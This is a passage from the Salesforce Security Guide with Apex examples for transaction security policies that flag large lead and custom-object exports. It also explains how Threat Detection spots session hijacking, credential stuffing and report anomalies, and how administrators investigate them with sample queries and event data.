that one policy casts the sObject to ReportEvent and the other to ApiEvent. Let’s change our use case a bit to show how to create a
single Apex class that handles multiple event objects. In this case, we remove the condition of checking for elapsed time in the ApiEvent.
Now the two policies monitor the same fields of their respective event objects: RowsProcessed and QueriedEntities.

Note: You can’t use Condition Builder in this example because it doesn’t support creating a single policy on multiple events
objects.
Here’s an example of the "consolidated" Apex class.
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

316
Salesforce Security Guide Enhanced Transaction Security

if ('Lead'.equals(queriedEntities) && rowsProcessed > 2000){

return true;
}
return false;
}
}

The preceding example shows how the Apex code for a policy that handles multiple event objects uses implicit typecasting, branching
logic, and event error cases with the switch statement. Also, it’s easy to update this code to handle a new event object or use case.

Expand the Lead Data Export Example with New Use Cases
Let’s say that you’ve created a custom report type in your org that’s based on leads and other objects, such as campaigns. You want to
enforce your enhanced policy on this report type, too. In this case, the QueriedEntities field contains a comma-separated list of
the objects that the custom report type is based on, such as Lead,Campaign,MyOtherObject. To ensure that the enhanced
policy triggers on this custom report type, use the contains() method to check for Lead in the QueriedEntities value
rather than equals(). For example:
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
return false;
}
when else {
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

if (queriedEntities.contains('Lead') && rowsProcessed > 2000){
return true;
}
return false;
}

Next, imagine that you have a custom object HRCase__c that you want to monitor in addition to leads. Add a condition on the
QueriedEntities field. For example:

global class DataExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}

317
Salesforce Security Guide Enhanced Transaction Security

when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

if (containsQueriedEntities(queriedEntities) && rowsProcessed > 2000){
return true;
}
return false;
}

private boolean containsQueriedEntities(String queriedEntities){

return queriedEntities.contains('Lead') ||
queriedEntities.contains('HRCase__c');
}
}

So far we’ve used the ApiEvent and ReportEvent event objects to monitor API queries and report operations. But users can also use list
views to view or export org data. Sounds like a job for the ListViewEvent event object! To update the Apex code, add a switch case.

Note: Monitoring list views is a feature of the enhanced transaction policy framework that doesn’t exist in the legacy framework.

global class DataExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {
return false;
}
when else {
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

if (containsQueriedEntities(queriedEntities) && rowsProcessed > 2000){
return true;

318
Salesforce Security Guide Enhanced Transaction Security

}
return false;
}

private boolean containsQueriedEntities(String queriedEntities){

return queriedEntities.contains('Lead') ||
queriedEntities.contains('HRCase__c');
}
}

SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: Switch Statements

Advanced Policy Migration Example

This example shows how to migrate a more complex policy.
EDITIONS
The sample legacy policy in this topic is similar to the legacy Lead Data Export policy but with two
key differences. Rather than monitor only leads, this policy monitors several different object types. Available in: Salesforce
Also, rather than hard-code an export limit of 2,000 records, this policy defines different limits for Classic and Lightning
different object types. Experience

The export limits are stored in a custom metadata type called TransactionSecurityLimit__mdt which Available in: Enterprise,
contains these two fields: Unlimited, and Developer
Editions
• Object_Type__c (Picklist)—The object type
• Limit_Value__c (Number(18,0))—The maximum number of records of this object type Requires Salesforce Shield
or Salesforce Event
that a user is allowed to export
Monitoring add-on
The legacy policy queries this custom metadata type to dynamically determine the export limit subscriptions.
value for each object type.

global class DataExportPolicyCondition implements TxnSecurity.PolicyCondition {

private Final Integer DEFAULT_LIMIT = 2000;

public boolean evaluate(TxnSecurity.Event e){

Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
String entityName = e.data.get('EntityName');

Integer limitValue = getLimitValue(entityName);

if (numberOfRecords > limitValue) {

return true;
}
return false;
}

/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.

319
Salesforce Security Guide Enhanced Transaction Security

**/
private Integer getLimitValue(String entityName) {

List<Transaction_Security_Limit__mdt> limits = new

List<Transaction_Security_Limit__mdt>();

try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE
Object_Type__c = :entityName];
} catch (Exception ex) {
// unable to determine the limit, log and return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;
}

if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;
}

return (Integer)(limits[0].Limit_Value__c);
}
}

In the enhanced policy, we can reuse most of the logic that queries the TransactionSecurityLimit__mdt custom metadata type. The
main difference is the code for getting the name of the entities for which we want to query the export limit. In the legacy policy, we use
the EntityName key value of the data Map. Its equivalent in the enhanced framework is QueriedEntities. But remember
that the QueriedEntities field can contain more than one entity name, because the enhanced framework supports exports on
all standard and custom objects. So we take the comma-separated list of queried entities and split it up into a List of entity names.
global class DynamicExportEventCondition implements TxnSecurity.EventCondition {

private Final Integer DEFAULT_LIMIT = 2000;

public boolean evaluate(SObject event) {

switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {
return false;
}
when else {
return false;
}
}
}

320
Salesforce Security Guide Enhanced Transaction Security

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

List<String> queriedEntitiesList = queriedEntities.split(',');
// for all of the entities being exported, check their limit
for (String queriedEntity : queriedEntitiesList) {
Integer limitValue = getLimitValue(queriedEntity);
if (rowsProcessed > limitValue) {
// if any of our entities are having their limit violated
// then return true to trigger the policy
return true;
}
}
return false;
}

/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.
**/
private Integer getLimitValue(String entityName) {

List<Transaction_Security_Limit__mdt> limits = new

List<Transaction_Security_Limit__mdt>();

try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE
Object_Type__c = :entityName];
} catch (Exception ex) {
// unable to determine the limit, return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;
}

if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;
}

return (Integer)(limits[0].Limit_Value__c);
}
}

SEE ALSO:
Custom Metadata Types
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface

321
Salesforce Security Guide Threat Detection

Threat Detection
Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce
EDITIONS
org.
In particular, Threat Detection indicates: Available in: Salesforce
Classic and Lightning
• If a user session is hijacked.
Experience
• When a user successfully logs in during an identified credential stuffing attack. Credential stuffing
occurs when large-scale automated login requests use stolen user credentials to gain access Available in: Enterprise,
to Salesforce. Unlimited, and Developer
Editions
• Anomalies in a user's report views or exports.
Requires Salesforce Shield
Salesforce surfaces the data about these detected threats using Real-Time Event Monitoring events. or Salesforce Event
For example, anomalies in report generation are streamed to ReportAnomalyEvent and stored in Monitoring add-on
ReportAnomalyEventStore. This document first describes how Salesforce detects these anomalies, subscriptions.
and then how you can view the information in the events and investigate further if necessary.

Use Transaction Security Policies to Monitor Threats

Create a transaction security policy on the Threat Detection events that generates email or in-app notifications when Salesforce detects
a threat. After you investigate the detected threat, consider creating a policy to control users’ behavior.
For example, let’s say your org receives multiple ReportAnomalyEvents about a user who exported many more records of a report on
Leads than usual. Because you created a transaction security policy on ReportAnomalyEventStore, you receive a notification each time
this anomaly occurs. To further protect the Lead object you can create a ReportEvent policy on the report to block users from exporting
more than 10 rows.

IN THIS SECTION:
Session Hijacking
Session Hijacking is a customer-focused attack where attackers try to steal information from using a client’s access to a web application.
In our case, this application is Salesforce. When a client successfully authenticates with Salesforce, they receive a session token. The
attacker tries to hijack the client’s session by obtaining their session token.
Credential Stuffing
Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as “password spraying” or “credential
spills”. Attackers obtain large numbers of usernames and passwords through data breaches or other types of cyber attacks. They
then use these credentials to gain unauthorized access to user accounts through large-scale automated login requests against a
web application such as Salesforce.
Report Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in
Salesforce Core application logs about report generation and surrounding activities to build a baseline model of the historical activity.
We then compare any new report generation activity against this baseline to determine if the new activity is sufficiently different to
be called an anomaly. We don't look at the actual data that a user interacts with— we look at how the user interacts with the data.
API Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in
Salesforce Core application logs about API generation and surrounding activities to build a baseline model of the historical activity.
We then compare any new API generation activity against this baseline to determine if the new activity is sufficiently different to be
called an anomaly. We don't look at the actual data that a user interacts with— we look at how the user interacts with the data.

322
Salesforce Security Guide Threat Detection

View Threat Detection Events and Provide Feedback

Launch the Threat Detection app and view all the detected threats that occurred in your Salesforce org. Threats include anomalies
in how users run reports, session hijacking attempts, and credential stuffing. Use the same app to easily provide feedback about the
severity of a specific threat.

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Enhanced Transaction Security
How Salesforce Helps Protect You From Insider Threats
How Salesforce Helps Protect You From Credential Stuffers

Session Hijacking
Session Hijacking is a customer-focused attack where attackers try to steal information from using
EDITIONS
a client’s access to a web application. In our case, this application is Salesforce. When a client
successfully authenticates with Salesforce, they receive a session token. The attacker tries to hijack Available in: Salesforce
the client’s session by obtaining their session token. Classic and Lightning
The Real-Time Event Monitoring object SessionHijackingEvent addresses the “Man In The Browser” Experience
attack (MiTB), a type of session hijacking attack. In a MiTB attack, the attacker compromises the
Available in: Enterprise,
client’s web application by first planting a virus like a Trojan proxy. The virus then embeds itself in Unlimited, and Developer
the client’s browser. And when the client accesses a web application such as Salesforce, the virus Editions
manipulates pages, collects sensitive information shared between client and Salesforce, and steals
Requires Salesforce Shield
information. These types of attacks are difficult for the client to detect.
or Salesforce Event
Fortunately, Salesforce is ahead in this race with the bad guys and has mechanisms in place to Monitoring add-on
detect MiTB attacks. When detected, Salesforce kills the session and any child sessions, logs out the subscriptions.
user, and asks for multi-factor authentication. With this action, Salesforce helps prevent the attacker
from performing any subsequent malicious activity with that user’s session. This autonomous
enforcement makes session hijacking costly for attackers and results in safer sessions for Salesforce customers.
All Salesforce customers get this threat mitigation. Event monitoring customers get granular visibility into these attacks. These customers
can collect useful information about the attacks in real time and send notifications to other users in Salesforce.

How Salesforce Detects Session Hijacking

To detect session hijacking attempts, Salesforce first uses browser fingerprinting to identify the device that a user has logged in from. If
within a session, Salesforce sees a significant deviation in the browser fingerprint, there is probably unauthorized activity from a different
device using the stolen legitimate session ID. Salesforce computes the session hijacking risk score for every pair of intra-session browser
fingerprints. It then compares the score to an empirically determined threshold to detect anomalous user sessions in real time. If Salesforce
detects an anomaly, it generates a SessionHijackingEvent.

Note: While Salesforce uses browser fingerprinting to identify a device, it doesn’t use it to track a user. Salesforce uses the data
only to detect suspicious behavior.

IN THIS SECTION:
Features of the Browser Fingerprint
A browser fingerprint is a collection of features that together identify a device. Salesforce uses these features to build a model of the
user’s original browser fingerprint when they logged in. Salesforce uses this model to detect whether a user’s session was hijacked.

323
Salesforce Security Guide Threat Detection

Investigate Session Hijacking

Here are some tips for investigating a session hijacking attack.

SEE ALSO:
Open Web Application Security Project: Session Hijacking Attack

Features of the Browser Fingerprint

A browser fingerprint is a collection of features that together identify a device. Salesforce uses these
EDITIONS
features to build a model of the user’s original browser fingerprint when they logged in. Salesforce
uses this model to detect whether a user’s session was hijacked. Available in: Salesforce
Classic and Lightning
Table 11: Features of Session Hijacking
Experience
Feature Description Example
Name Available in: Enterprise,
Unlimited, and Developer
window The window size, in pixels, of the browser. (750, 340) Editions
userAgent HTTP Header that contains information about the browser, Mozilla/5.0(iPad; Requires Salesforce Shield
operating system, version, and more. U; CPU iPhone or Salesforce Event
OS 3_2 like Monitoring add-on
Mac OS X; subscriptions.
en-us)
AppleWebKit/531.21.10
(KHTML, like
Gecko)
Version/4.0.4
Mobile/7B314
Safari/531.21.10

timestamp Timestamp of the captured event. Usually in Coordinated 2020-03-03T03:10:10Z

Universal Time (UTC) format.

screen The screen size, in pixels, of the browser. (1050.0,1680.0)

plugins JavaScript attribute that lists the activated browser plugins. Chrome PDF
Plugin:Portable
Document
FormatChrome
PDF Viewer

originApp The origin app of the fingerprint. Lightning

drm Whether DRM (Digital Rights Management) is enabled. 0, 1

dnt JavaScript attribute that indicates whether the user is enabled

requesting web sites and advertisers to not track them.

webSockets Whether the browser used web sockets. true

sessionStorage Whether the browser used session storage. true

324
Salesforce Security Guide Threat Detection

Feature Description Example

Name
platform Browser-populated JavaScript attribute regarding the platform the browser is running iPad
on (window.navigator.platform).

localStorage Whether local storage is used, extending beyond the duration of the session. false

ipAddress The IP address in the request. 96.43.144.26 or ”Salesforce.com

IP”

indexDb Whether an indexed database is enabled for browser storage. true

fonts A hashed value of a list of browser fonts. 9wAt8IYAgO=

color The color depth of the browser. (24.0,24.0)

Investigate Session Hijacking

Here are some tips for investigating a session hijacking attack.
EDITIONS
Start by querying these Real-Time Event Monitoring events that provide detailed information about
the attack. In particular: Available in: Salesforce
Classic and Lightning
• SessionHijackingEvent and its storage equivalent SessionHijackingEventStore track when
Experience
unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier.
To detect such an event, Salesforce evaluates how significantly a user’s current browser Available in: Enterprise,
fingerprint diverges from the previously known fingerprint. Salesforce uses a probabilistically Unlimited, and Developer
inferred significance of change. Editions

Important: If the SessionHijackingEvent object contains a record, an attack occurred in Requires Salesforce Shield
or Salesforce Event
the past and Salesforce security has already taken care of the security issue. You don’t do
Monitoring add-on
anything other than investigate the attack for your own purposes.
subscriptions.
• LoginEventStream (and its storage equivalent LoginEvent) tracks all login activity in your org.
For example, say that your org receives a SessionHijackingEvent. The first thing you do is look at
relevant fields of the event to get basic information about the attack, such as:
• Score: A number from 6.0 to 21.0 that indicates how significant the new browser fingerprint deviates from the previous one. The
higher the number, the more likely a session hijacking attack occurred.
• UserId: The user’s unique ID. Use this ID to query LoginEvent for more login information.
• EventDate: When this attack occurred.
• SecurityEventData: JSON field that contains the current and previous values of the browser fingerprint features that contributed
the most to this anomaly detection. See this table for the full list of possible features.
• Summary: A text summary of the event.
• Current-Previous field pairs: These field pairs provide quick access to current and previous values for selected browser
fingerprint features.
– CurrentIp and PreviousIp: The current and previous IP address.
– CurrentPlatform and PreviousPlatform: The current and previous operating system, such as Win32, MacIntel, or
iPad.
– CurrentScreen and PreviousScreen: The current and previous screen size in pixels, such as (900.0,1440.0).

325
Salesforce Security Guide Threat Detection

– CurrentUserAgent and PreviousUserAgent: The current and previous value of your browser’s user agent which
identifies the type of browser, version, operating system, and more. For example, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
– CurrentWindow and PreviousWindow: The current and previous window size in pixels, such as (1200.0,1920.0).

See the API documentation for the full list of fields.

This sample SOQL query returns these field values.
SELECT Score, UserId, EventDate, SecurityEventData, Summary
FROM SessionHijackingEventStore

Let’s look at the SecurityEventData field a bit more closely because it contains the browser fingerprints that triggered this
anomaly detection. Here’s sample data:
[
{
"featureName": "userAgent",
"featureContribution": "0.45 %",
"previousValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.142",
"currentValue": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/76.0.3809.100 Safari/537.36."
},
{
"featureName": "ipAddress",
"featureContribution": "0.23 %",
"previousValue": "201.17.237.77",
"currentValue": "182.64.210.144"
},
{
"featureName": "platform",
"featureContribution": "0.23 %",
"previousValue": "Win32",
"currentValue": "MacIntel"
},
{
"featureName": "screen",
"featureContribution": "0.23 %",
"previousValue":"(1050.0,1680.0)",
"currentValue": "(864.0,1536.0)"
},
{
"featureName": "window",
"featureContribution": "0.17 %",
"previousValue": "1363x1717",
"currentValue": "800x1200"
}
]

The sample JSON shows that many browser fingerprint features changed, including window, IP address, platform, and more. Salesforce
concludes the user session was hijacked.

SEE ALSO:
Platform Events Developer Guide: SessionHijackingEvent

326
Salesforce Security Guide Threat Detection

Credential Stuffing
Credential stuffing is a type of cyber attack that uses stolen account credentials. It’s also known as
EDITIONS
“password spraying” or “credential spills”. Attackers obtain large numbers of usernames and
passwords through data breaches or other types of cyber attacks. They then use these credentials Available in: Salesforce
to gain unauthorized access to user accounts through large-scale automated login requests against Classic and Lightning
a web application such as Salesforce. Experience
Salesforce identifies a credential stuffing attack using a two-step process. First, it detects if a credential
Available in: Enterprise,
stuffing attack is taking place by analyzing the login traffic. In particular, we look for attackers who Unlimited, and Developer
stuff multiple credentials in the same end-point or stuff the same user accounts by enumerating Editions
multiple passwords. Next we check the ratio of successful versus failed login traffic volume. If the
Requires Salesforce Shield
volume exceeds a certain threshold, we use more fingerprint details to identify the affected user’s
or Salesforce Event
profile.
Monitoring add-on
When we detect a successful login from an endpoint that exhibits credential stuffing behavior, we subscriptions.
pose an identity challenge to the affected user. If the user successfully completes that challenge,
they are required to change their password before accessing Salesforce again.
All Salesforce customers get this threat mitigation. However, Event Monitoring customers can get granular visibility into these attacks
using the CredentialStuffingEvent object. These customers can then collect useful information related to these events in real time and
send notifications to other users in Salesforce.

IN THIS SECTION:
Investigate Credential Stuffing
Here are some tips for investigating a credential stuffing attack.

Investigate Credential Stuffing

Here are some tips for investigating a credential stuffing attack.
EDITIONS
Start by querying these Real-Time Event Monitoring events that provide detailed information about
the attack. In particular: Available in: Salesforce
Classic and Lightning
• CredentialStuffingEvent and its storage equivalent CredentialStuffingEventStore track when a
Experience
user successfully logs into Salesforce during an identified credential stuffing attack.
Available in: Enterprise,
Important: If the CredentialStuffingEvent object contains a record, an attack occurred
Unlimited, and Developer
in the past and Salesforce security has already taken care of the security issue. You don’t do Editions
anything other than investigate the attack for your own purposes.
Requires Salesforce Shield
• LoginEventStream and its storage equivalent LoginEvent track all login activity in your Salesforce or Salesforce Event
org. Monitoring add-on
subscriptions.
For example, say that your org receives a CredentialStuffingEvent. The first thing you do is look at
relevant fields of the event to get basic information about the attack, such as:
• UserId: The user’s unique ID. Use this ID to query LoginEvent for more login information.
• EventDate: When this attack occurred.
• Summary: A text summary of the event.
See the API documentation for the full list of fields.

327
Salesforce Security Guide Threat Detection

This sample SOQL query returns these field values.

SELECT UserId, EventDate, Summary FROM CredentialStuffingEventStore

You can use this type of query to identify the users in your org that were affected by the credential stuffing attack. These users reused
their org password in other web sites or their password follows a common pattern and is not strong enough. Educate your users on how
they can create and manage strong passwords to protect your org.
Also consider improving your security with password protection. You can set password history, length, and complexity requirements.
You can also specify what to do when a user forgets the password. Another best practice is to set up multi-factor authentication (MFA).
Finally, investigate enabling Lightning Login for password-free logins.

SEE ALSO:
Salesforce Help: Enable Lightning Login for Password-Free Logins
Trailhead: Educate Your Users to Help Protect Your Org
Salesforce Security Guide: Set Password Policies
Platform Events Developer Guide: CredentialStuffingEvent

Report Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same
EDITIONS
user. We use the metadata in Salesforce Core application logs about report generation and
surrounding activities to build a baseline model of the historical activity. We then compare any new Available in: Salesforce
report generation activity against this baseline to determine if the new activity is sufficiently different Classic and Lightning
to be called an anomaly. We don't look at the actual data that a user interacts with— we look at Experience
how the user interacts with the data.
Available in: Enterprise,
Unlimited, and Developer
IN THIS SECTION: Editions
Training and Inference Steps Requires Salesforce Shield
Similar to other machine learning or statistical models, our detection model has a familiar or Salesforce Event
two-step process: a training step and an inference or detection step. As a customer, you don't Monitoring add-on
perform either of these steps—Salesforce performs them for you. You only review the detection subscriptions.
events generated by our detection mode and take further action if necessary.
Investigate Report Anomalies
It's often necessary to further investigate a report anomaly to either rule it out as benign or to determine if a data breach occurred.
Best Practices for Investigating Report Anomalies
Keep these tips and best practices in mind when you investigate unusual user behavior. They can help you find the information you
require to make a well informed conclusion about your data’s safety.
Report Anomaly Detection Examples
Here are several examples that illustrate how you can investigate anomalous report events thoroughly.

328
Salesforce Security Guide Threat Detection

Training and Inference Steps

Similar to other machine learning or statistical models, our detection model has a familiar two-step
EDITIONS
process: a training step and an inference or detection step. As a customer, you don't perform either
of these steps—Salesforce performs them for you. You only review the detection events generated Available in: Salesforce
by our detection mode and take further action if necessary. Classic and Lightning
Experience
Training Step Available in: Enterprise,
We extract various attributes—also known as features—using the metadata from the Salesforce Unlimited, and Developer
application logs. We use metadata about report generation and surrounding activities over a period Editions
of about 90 days. The actual list of features changes as the model improves. Requires Salesforce Shield
Using these features, we build a model of the user's typical report generation activity. This step is or Salesforce Event
called model training. We use the trained model to detect anomalies in the second step. Monitoring add-on
subscriptions.
Table 12: Features of Report Anomaly Detection
Feature Name Description Example
rowCount The number of rows that were processed in the 150
report generation. High row counts, coupled
with a high averageRowSize, can indicate that
a user is downloading information for fraudulent
purposes. For example, a salesperson who
downloads all sales leads before departing for
a competitor.

numberColumns The number of columns in the report. 10

averageRowSize The average row size (in bytes) of all rows in the 700
report generation. A large average size and a
high rowCount can indicate that a user is
downloading information for fraudulent
purposes. For example, a salesperson who
downloads all sales leads before departing for
a competitor.

numberColumnToColumnFilters The number of column-to-column filters that 0

are used in the report.

numberSnapHistoricalFilters The number of snap historical filters that are 1

used in the report.

numberHistoricalFilters The number of historical filters that are used in 1

the report.

numberFilters The number of filters that are used in the report. 3

autonomousSystem The Autonomous System (AS) derived from the Charter

IP address used to download the report. An AS Communications
is a connected group of one or more IP prefixes Inc
run by one or more network operators. The
group has a single and clearly defined routing
policy.

329
Salesforce Security Guide Threat Detection

Feature Name Description Example

dayOfMonth The day of the month when the report was run. The value is derived 14
from the timestamp and the local timezone as reported by the
browser used to generate the report.

periodOfDay The period during the day when the report was run. The value is Afternoon
derived from the timestamp and the local timezone as reported
by the browser used to generate the report.

dayOfWeek The day of the week when the report was run. The value is derived Saturday
from the timestamp and the local timezone, as reported by the
browser used to generate the report.

userAgent The user agent recorded during the report generation activity. Mozilla/5.0(iPad;
U; CPU iPhone
OS 3_2 like
Mac OS X;
en-us)
AppleWebKit/531.21.10
(KHTML, like
Gecko)
Version/4.0.4
Mobile/7B314
Safari/531.21.10

platform The platform type as reported by the browser used to generate MacIntel
the report.

timezoneOffset The timezone offset, in minutes from GMT, as reported by the -180
browser used to generate the report.

windowSize The window size, in pixels, of the browser used to generate the 750x340
report.

screenResolution The screen resolution, in pixels, as reported by the browser used 1024x768
to generate the report.

colorDepth The color depth as reported by the browser used to generate the 32-32
report.

attachedMediaDevices The list of media devices as reported by the browser used to -

generate the report.

acceptedLanguages The list of languages as reported by the browser used to generate ["en-US"]
the report.

browserFonts The identifier derived from the fonts as reported by the browser -
used to generate the report.

browserCodecs The identifier derived from the codecs as reported by the browser -
used to generate the report.

browserPlugins The list of plugins as reported by the browser used to generate the Chrome PDF
report. Plugin:Portable

330
Salesforce Security Guide Threat Detection

Feature Name Description Example

Document
FormatChro...

localStorageEnabled Boolean corresponding to the local storage setting as reported by TRUE

the browser used to generate the report.

sessionStorageEnabled Boolean corresponding to the session storage setting as reported TRUE

by the browser used to generate the report.

browserIndexingEnabled Boolean corresponding to the IndexDB setting as reported by the TRUE

browser used to generate the report.

drmEnabled Boolean corresponding to the digital rights management (DRM) FALSE

setting as reported by the browser used to generate the report.

webSocketsEnabled Boolean corresponding to the web sockets setting as reported by TRUE

the browser used to generate the report.

loginToReportGeneration The elapsed time, in milliseconds, between when the user logged 10000
in and when they generated the report.

Inference (or Detection) Step

During the detection step, we look at every report generation activity for every user. For every report generation activity, we extract the
same set of features as during the model training step. We then compare features against the model of the user's typical behavior and
determine if the activity under consideration is sufficiently different.

Anomaly Score
We assign a numerical anomaly score to every report generation activity based on how different the activity is compared to the user’s
typical activity. The anomaly score is always a number from 0 through 100, and is often expressed as a percentage. A low anomaly score
indicates that the user's report generation activity is similar to the user's typical activity. A high anomaly score indicates that the user's
report generation activity is different from the user's typical activity.

Critical Threshold
Every report generation event is assigned an anomaly score, but not all generation events are anomalies. We use a threshold to determine
which of the report generation events are anomalies. Any event with an anomaly score above the critical threshold is considered an
anomaly.
Generally, a score of 90 indicates that the user's report generation activity is about 3 standard deviations away from the user's typical
activity. The critical threshold also controls the tradeoff between false positives and false negatives. A low critical threshold marks more
events as anomalies, which result in a higher number of false alarms (false positives) but fewer missed anomalies (false negatives). A
high critical threshold results in fewer false alarms but more false negatives.

331
Salesforce Security Guide Threat Detection

Investigate Report Anomalies

It's often necessary to further investigate a report anomaly to either rule it out as benign or to
EDITIONS
determine if a data breach occurred.
As a Shield customer, the Real-Time Event Monitoring events provide you with the required Available in: Salesforce
information to perform your investigation. In particular: Classic and Lightning
Experience
• ReportAnomalyEvent (and its storage equivalent ReportAnomalyEventStore) track when
anomalies are detected about users running or exporting reports. These objects are the starting Available in: Enterprise,
point of your investigation. Unlimited, and Developer
• ReportEventStream (and its storage equivalent ReportEvent) track in general when users run Editions
or export reports in your org. Use these objects to see real-time or historical report executions. Requires Salesforce Shield
• LoginEventStream (and its storage equivalent LoginEvent) track all login activity in your org. or Salesforce Event
Monitoring add-on
For example, say that your org receives a ReportAnomalyEvent that indicates a potential anomaly subscriptions.
in a user’s report execution. The first thing you do is look at relevant fields of the event to get basic
information about the anomaly, such as:
• Score: A number that represents how much this user’s report execution differed from their usual activity. The higher the number,
the more it diverged.
• UserId: The user’s unique ID.
• EventDate: When this anomaly occurred.
• Report: The report ID for which this anomaly was detected.
• SecurityEventData: JSON field that contains the features, such as row count or day of the week, that contributed the most
to this anomaly detection. See this table on page 329 for the full list of possible features.
• Summary: A text summary of the event.
See the API documentation for the full list of fields.
This sample SOQL query returns these field values.
SELECT Score, UserId, EventDate, Report, SecurityEventData, Summary
FROM ReportAnomalyEventStore

Let’s look at the SecurityEventData field a bit more closely because it contains the contributing factors that triggered this
anomaly detection. Here’s sample data:
[
{
"featureName": "rowCount",
"featureValue": "1937568",
"featureContribution": “95.00 %"
},
{
"featureName": "autonomousSystem",
"featureValue": "Bigleaf Networks, Inc.",
"featureContribution": “1.62 %"
},
{
"featureName": "dayOfWeek",
"featureValue": "Sunday",
"featureContribution": “1.42 %"
},
{

332
Salesforce Security Guide Threat Detection

"featureName": "userAgent",
"featureValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}",
"featureContribution": “1.21 %"
},
{
"featureName": "periodOfDay",
"featureValue": “Evening”,
"featureContribution": “.09 %"
},
{
"featureName": "averageRowSize",
"featureValue": "744",
"featureContribution": “0.08 %"
},
{
"featureName": "screenResolution",
"featureValue": "900x1440",
"featureContribution": “0.07 %"
}
]

The feature that contributed the most (95.00%) to this anomaly detection was rowCount with a value of 1937568. The feature indicates
that the user viewed or exported a report that had 1,937,568 rows. But based on historical data, the user rarely views or exports so much
data. The other features contributed much less to the score. For example, the user executed the report on Sunday, but this feature
contributed only 1.42% to the overall score.
Now that you have the data, you can investigate further.

SEE ALSO:
Training and Inference Steps
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

Best Practices for Investigating Report Anomalies

Keep these tips and best practices in mind when you investigate unusual user behavior. They can
EDITIONS
help you find the information you require to make a well informed conclusion about your data’s
safety. Available in: Salesforce
Identify the involved user. Classic and Lightning
Keeping customer privacy in mind, we cannot access customer data or any data inside the Experience
reports. As a result, we can provide only the user ID of the user who generated the report that
Available in: Enterprise,
is marked as an anomaly. Use this user ID to locate the username and other details about the Unlimited, and Developer
person associated with the detection event. Editions
Field: ReportAnomalyEvent.UserId Requires Salesforce Shield
Use the timestamp. or Salesforce Event
Our detection model already considers various features derived from the timestamp to determine Monitoring add-on
report generation activity as anomalous or not. You can use this timestamp to narrow down subscriptions.
the set of events you must review. You can also determine if the time of report generation was
unusual for the user who generated the report.

333
Salesforce Security Guide Threat Detection

Field: ReportAnomalyEvent.EventDate
Use contributing factors as a guide.
The contributing factors JSON output shows the list of features on page 329 in descending order of contribution. As you start your
investigation into the event logs, keep an eye out for the top contributing features. If these features look unusual, they can provide
more evidence that confirms the anomaly or even indicate a possible data breach.
Field: ReportAnomalyEvent.SecurityEventData
Consider the anomaly in the context of the user's typical behavior.
Using the ReportAnomalyEvent field values, try to determine whether the user activity within the detection event is typical for the
user. For example, consider if it's typical for a user to generate a report from the IP address provided.
